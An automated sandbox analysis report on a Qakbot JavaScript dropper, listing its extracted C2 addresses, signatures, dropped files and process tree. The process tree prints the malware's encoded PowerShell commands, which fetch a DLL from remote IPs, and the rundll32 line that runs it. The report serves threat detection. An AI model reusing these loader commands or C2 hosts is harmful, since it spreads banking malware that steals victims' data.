Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/06/2023, 17:50

General

  • Target
    00x4PZfgSiLd5.js
  • Size 434KB
  • Sample230620-wetqdaef2x
  • SHA256 2b3c2b33cc0cb7a8d559b5a7ddf7397ee4bc8431d95cd117f4850b6b2fd42e31
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • qakbot

Version
  • 404.1382

Botnet
  • obama269

Campaign
  • 1687245474

C2
  • 91.160.70.68:32100

  • 182.75.189.42:995

  • 151.62.196.183:443

  • 72.134.124.16:443

  • 104.35.24.154:443

  • 84.215.202.8:443

  • 71.31.9.226:995

  • 103.153.180.59:995

  • 45.62.75.217:443

  • 95.230.110.222:995

  • 49.175.72.81:443

  • 12.172.173.82:22

  • 168.149.47.12:443

  • 68.186.65.132:443

  • 113.11.92.30:443

  • 116.75.58.218:443

  • 151.69.32.238:443

  • 24.138.87.122:995

  • 96.87.28.170:2222

  • 147.147.30.126:2222

Signatures

  • Qakbot/Qbot

    Qbot or Qakbot is a sophisticated worm with banking capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\00x4PZfgSiLd5.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:524
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "$ i n c o n s e q u e n t i a l   =   " a A B 0 A H Q A c A A 6 A C 8 A L w A x A D g A N A A u A D E A N w A 2 A C 4 A N Q A 4 A C 4 A M Q A 3 A D Q A " ; $ T r o u b a d o u r T r a m s m i t h   =   " a A B 0 A H Q A c A A 6 A C 8 A L w A x A D M A O Q A u A D U A N g A u A D E A N w A 4 A C 4 A N w A z A A = = " ; $ f a r t h e r m o s t P r e a l l o w a b l y   =  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 " J A B J A G Q A a Q B v A G 0 A b w B s A G 8 A Z w B 5 A C A A P Q A g A C I A W g B h A H A A d A B v A G U A Y w B h A E Y A b w B v A H Q A b A B p A G M A a w B p A G 4 A Z w A i A D s A J A B G A H I A a Q B n A G g A d A B E A G U A b Q B h A H Q A a Q B h A G M A Z Q B h A G U A I A A 9 A C A A I g B m A H I A d Q B t A H A A a Q B z A G g A b g B l A H M A c w B O A G 8 A b Q B p A G 4 A Z Q A i A D s A Y w B t A G Q A I A A v A G M A I A B y A H U A b g B k A G w A b A A z A D I A I A B D A D o A X A B Q A H I A b w B n A H I A Y Q B t A E Q A Y Q B 0 A G E A X A B u A G U A b w B 0 A H I A Z Q B t A G E A d A B h A F M A d A B l A G 0 A b Q B p A G U A c w B 0 A C 4 A Z A B s A G w A L A B t A G 8 A c g B l A D s A J A B z A H Q A b w B t A G E A Y w B o A G Y A d Q B s A F Q A Y Q B s A G M A b w B t A G k A Y w B h A G M A Z Q B v A H U A c w A g A D 0 A I A A i A G c A b A B h A G k A c g B 5 A C I A O w A k A E U A b Q B i A G E A c g B r A H M A Q Q B s A G c A Z Q B i A H I A Y Q A g A D 0 A I A A i A E k A b g B l A H g A Y Q B j A H Q A b A B 5 A E M A b w B p A G w A e Q B l A G E A c g A i A D s A J A B S A G U A Y w B 1 A H I A d A B h A G k A b g A g A D 0 A I A A i A E g A Z Q B 0 A G U A c g B v A H Q A a Q B j A C I A O w A k A F M A a A B v A H I A d A B 6 A H k A U Q B 1 A G E A Z A B y A G k A c A B s A G k A Y w B h A H Q A Z Q A g A D 0 A I A A i A G w A Z Q B n A G E A d A B p A H Y A Z Q A i A D s A " ; $ C o e n o s a r c a l U n s w a b b e d   =   " a A B 0 A H Q A c A A 6 A C 8 A L w A x A D k A M w A u A D E A N A A 0 A C 4 A O A A 2 A C 4 A M Q A 1 A D k A " ; $ G a s t r o s p l e n i c E b d o m a d e   =   " a A B 0 A H Q A c A A 6 A C 8 A L w A x A D U A O A A u A D E A N Q A w A C 4 A O Q A 2 A C 4 A M Q A 0 A D k A M a A B 0 A H Q A c A A 6 A C 8 A L w B Q A G k A Z Q B y A G k A b g B h A G U A L g B k A G 8 A Z w A = " ; b r e a k ; }   e l s e   { } }   c a t c h   { } } "
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1336
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand JABJAGQAaQBvAG0AbwBsAG8AZwB5ACAAPQAgACIAWgBhAHAAdABvAGUAYwBhAEYAbwBvAHQAbABpAGMAawBpAG4AZwAiADsAJABGAHIAaQBnAGgAdABEAGUAbQBhAHQAaQBhAGMAZQBhAGUAIAA9ACAAIgBmAHIAdQBtAHAAaQBzAGgAbgBlAHMAcwBOAG8AbQBpAG4AZQAiADsAYwBtAGQAIAAvAGMAIAByAHUAbgBkAGwAbAAzADIAIABDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABuAGUAbwB0AHIAZQBtAGEAdABhAFMAdABlAG0AbQBpAGUAcwB0AC4AZABsAGwALABtAG8AcgBlADsAJABzAHQAbwBtAGEAYwBoAGYAdQBsAFQAYQBsAGMAbwBtAGkAYwBhAGMAZQBvAHUAcwAgAD0AIAAiAGcAbABhAGkAcgB5ACIAOwAkAEUAbQBiAGEAcgBrAHMAQQBsAGcAZQBiAHIAYQAgAD0AIAAiAEkAbgBlAHgAYQBjAHQAbAB5AEMAbwBpAGwAeQBlAGEAcgAiADsAJABSAGUAYwB1AHIAdABhAGkAbgAgAD0AIAAiAEgAZQB0AGUAcgBvAHQAaQBjACIAOwAkAFMAaABvAHIAdAB6AHkAUQB1AGEAZAByAGkAcABsAGkAYwBhAHQAZQAgAD0AIAAiAGwAZQBnAGEAdABpAHYAZQAiADsA
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:228
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c rundll32 C:\ProgramData\neotremataStemmiest.dll,more
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3588
          • C:\Windows\system32\rundll32.exe
            rundll32 C:\ProgramData\neotremataStemmiest.dll,more
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3172
            • C:\Windows\SysWOW64\rundll32.exe
              rundll32 C:\ProgramData\neotremataStemmiest.dll,more
              6⤵
              • Loads dropped DLL
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:4988
              • C:\Windows\SysWOW64\wermgr.exe
                C:\Windows\SysWOW64\wermgr.exe
                7⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:3840

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        neotremataStemmiest.dll

        • Path C:\ProgramData\neotremataStemmiest.dll
        • Size 1.8MB
        • SHA256 04046a746d38817016b14d1b311b5a465a5eb5726621b0272adf52ea0da51665
        • MD5 SHA1 SHA512 SSDEEP

        neotremataStemmiest.dll

        • Path C:\ProgramData\neotremataStemmiest.dll
        • Size 1.8MB
        • SHA256 04046a746d38817016b14d1b311b5a465a5eb5726621b0272adf52ea0da51665
        • MD5 SHA1 SHA512 SSDEEP

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 f11191abae782730f3e16400aef46c9e8404c2608dc132ec646b41e7f07911f9
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_omvodv5x.pol.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_omvodv5x.pol.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/228-157-0x000001D665170000-0x000001D665180000-memory.dmp

        memory/228-158-0x000001D665170000-0x000001D665180000-memory.dmp

        memory/1336-145-0x0000027F5F480000-0x0000027F5F490000-memory.dmp

        memory/1336-141-0x0000027F5F480000-0x0000027F5F490000-memory.dmp

        memory/1336-140-0x0000027F5F480000-0x0000027F5F490000-memory.dmp

        memory/1336-138-0x0000027F5F500000-0x0000027F5F522000-memory.dmp

        memory/3840-167-0x0000000000990000-0x00000000009B4000-memory.dmp

        memory/3840-166-0x00000000009C0000-0x00000000009C2000-memory.dmp

        memory/3840-173-0x0000000000990000-0x00000000009B4000-memory.dmp

        memory/3840-179-0x0000000000990000-0x00000000009B4000-memory.dmp

        memory/3840-180-0x0000000000990000-0x00000000009B4000-memory.dmp

        memory/3840-181-0x0000000000990000-0x00000000009B4000-memory.dmp

        memory/3840-182-0x0000000000990000-0x00000000009B4000-memory.dmp

        memory/3840-185-0x0000000000990000-0x00000000009B4000-memory.dmp

        memory/4988-161-0x0000000010000000-0x0000000010024000-memory.dmp

        memory/4988-160-0x0000000000D10000-0x0000000000D13000-memory.dmp